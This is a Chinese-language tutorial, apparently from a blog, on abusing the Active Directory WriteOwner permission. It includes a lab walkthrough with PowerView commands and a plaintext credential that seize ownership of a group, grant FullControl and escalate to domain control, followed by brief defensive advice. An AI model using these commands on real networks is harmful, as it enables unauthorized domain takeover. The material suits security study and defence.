内网---> WriteOwner权限滥用

目录

WriteOwner:内网渗透中的关键ACL滥用权限

[🔑 WriteOwner 权限概述](#🔑 WriteOwner 权限概述)

[🛠️ WriteOwner 的底层原理](#🛠️ WriteOwner 的底层原理)

[⚔️ WriteOwner 的典型攻击利用流程](#⚔️ WriteOwner 的典型攻击利用流程)

[📚 典型案例:StreamIO 中的 WriteOwner 利用](#📚 典型案例:StreamIO 中的 WriteOwner 利用)

[🏆 内网渗透中的关键作用与防御思考](#🏆 内网渗透中的关键作用与防御思考)


WriteOwner:内网渗透中的关键ACL滥用权限

🔑 WriteOwner 权限概述

WriteOwner 是 Active Directory(AD)中一种扩展权限(Extended Right),它允许主体修改目标 AD 对象的 所有者(Owner) 属性。

在 AD 中,每个对象(用户、组、计算机、OU 等)都有一个 Owner,默认是对象的创建者。Owner 拥有特殊的隐式权限:无论 DACL(Discretionary Access Control List)如何配置,Owner 始终可以修改该对象的访问控制列表(ACL)

通俗来说:WriteOwner 就像给你一把"改房本"的钥匙------你不能直接进屋,但能把房本过户到自己名下,过户成功后,你就成了新房主,自然能改锁、加钥匙。

🛠️ WriteOwner 的底层原理

AD 对象的权限控制基于 NTFS/AD ACL 模型,主要包含两部分:

  1. Owner(所有者) Owner 拥有隐式权限:WriteDacl(修改 ACL)和 FullControl 的子集。 这意味着:即使 DACL 明确拒绝了某人,Owner 仍能修改 DACL 给自己权限。

  2. DACL(访问控制列表) 显式定义谁能做什么。WriteOwner 是 DACL 中的一个 ACE(Access Control Entry),GUID 为: BF9679C0-0DE6-11D0-A285-00AA003049E2

  3. 权限继承与传播 WriteOwner 可以继承(Inherited),常出现在组或 OU 上,导致大范围影响。

  4. 为什么危险? AD 设计时认为 Owner 是可信的(通常是管理员),因此 Owner 的权限是硬编码的,无法通过 DACL 剥夺。这就是 WriteOwner 滥用的根本原因。

⚔️ WriteOwner 的典型攻击利用流程

攻击者通常结合 PowerView 或原生 PowerShell 完成以下链条:

  1. 发现目标对象(如某个高权限组)授予了当前用户 WriteOwner 权限。

  2. 将该对象的所有者修改为自己(或自己控制的用户)。

  3. 作为新 Owner,修改对象的 DACL,授予自己 FullControl。

  4. 利用 FullControl 执行最终目标(如添加用户到高权限组)。

文本模式通讯流程图(攻击者 → AD 对象)

cpp 复制代码
攻击者 (控制用户 A)                  AD 对象 (例如 CORE STAFF 组)
      |                                       |
      | 1. 修改 Owner → A                    |
      |    Set-DomainObjectOwner              |
      |-------------------------------------->|
      |                                       |
      | 2. AD 返回成功(Owner 变为 A)        |
      |<--------------------------------------|
      |                                       |
      | 3. 以 Owner 身份修改 DACL             |
      |    Add-DomainObjectAcl (Rights All)   |
      |-------------------------------------->|
      |                                       |
      | 4. 获得 FullControl                   |
      |<--------------------------------------|
      |                                       |
      | 5. 执行最终滥用(如 Add Group Member)|
      |-------------------------------------->|
📚 典型案例:StreamIO 中的 WriteOwner 利用

在 StreamIO

  1. JDgodd 用户对 CORE STAFF 组拥有 WriteOwner 权限。

  2. CORE STAFF 组被授予了 LAPS 密码读取权限(ms-MCS-AdmPwd)。

  3. 攻击者控制 nikk37 → 提取 JDgodd 密码 → 以 JDgodd 身份:

    • 将 CORE STAFF 组 Owner 改为 JDgodd

    • 授予 JDgodd FullControl

    • 将 JDgodd 添加为 CORE STAFF 成员

  4. JDgodd 获得 LAPS 读取权限 → 读取域控本地 Administrator 密码 → 完全控制域。

实际命令示例(PowerView)

cpp 复制代码
# 存储 JDgodd 凭据
$SecPassword = ConvertTo-SecureString 'JDgodd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)
​
# 修改所有者为 JDgodd
Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Credential $Cred
​
# 授予 JDgodd 完整 ACL
Add-DomainObjectAcl -TargetIdentity 'CORE STAFF' -PrincipalIdentity JDgodd -Rights All -Credential $Cred
​
# 将 JDgodd 添加为组成员
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred
🏆 内网渗透中的关键作用与防御思考

WriteOwner 在现代域渗透中的地位:

  1. 高隐蔽性:不触发 Kerberoasting 或 Golden Ticket 等传统告警。

  2. 链式提权:常与 LAPS、GPO、组成员等结合,形成从普通域用户到域管的完整路径。

  3. 真实企业常见:运维误配(如将普通组授予 WriteOwner)导致大量存在。

  4. BloodHound 检测:在 BloodHound 中显示为 "WriteOwner" 边,是最常见的提权路径之一。

防御关键点

  • 严格审计 WriteOwner 权限分配。

  • 使用 Tiering 模型隔离管理员权限。

  • 启用 Advanced Audit Policy 监控 Owner 修改事件(Event ID 5136)。

掌握 WriteOwner 滥用,您在内网 ACL 攻击领域已达到高级水平。结合 RBCD、Shadow Credentials 等,您已具备完整现代域渗透能力!

相关推荐
光年像素4 分钟前
Windows Win+R 运行框常用快捷命令大全
windows
上海云盾-高防顾问20 分钟前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
恒拓高科WorkPlus34 分钟前
BeeWorks Meet私有化视频会议:内网会议、组织架构联动与会议安全
安全·架构
2401_8734794042 分钟前
SOC告警日志中IP归属不明怎么办?部署IP离线库三步提升响应效率
网络·网络协议·tcp/ip
云祺vinchin1 小时前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath7121 小时前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
nVisual1 小时前
机柜PDU安装位置与空间建模方案
大数据·网络·数据库·信息可视化·数据中心基础设施管理
会飞的小新2 小时前
C 标准库之 <fenv.h> 详解与深度解析
c语言·开发语言·microsoft
许彰午2 小时前
09-媒体访问控制
网络
寒水馨2 小时前
Windows下载、安装ollama-v0.32.1(附安装包OllamaSetup.exe)
windows·llm·大语言模型·llama·本地部署·ollama·模型运行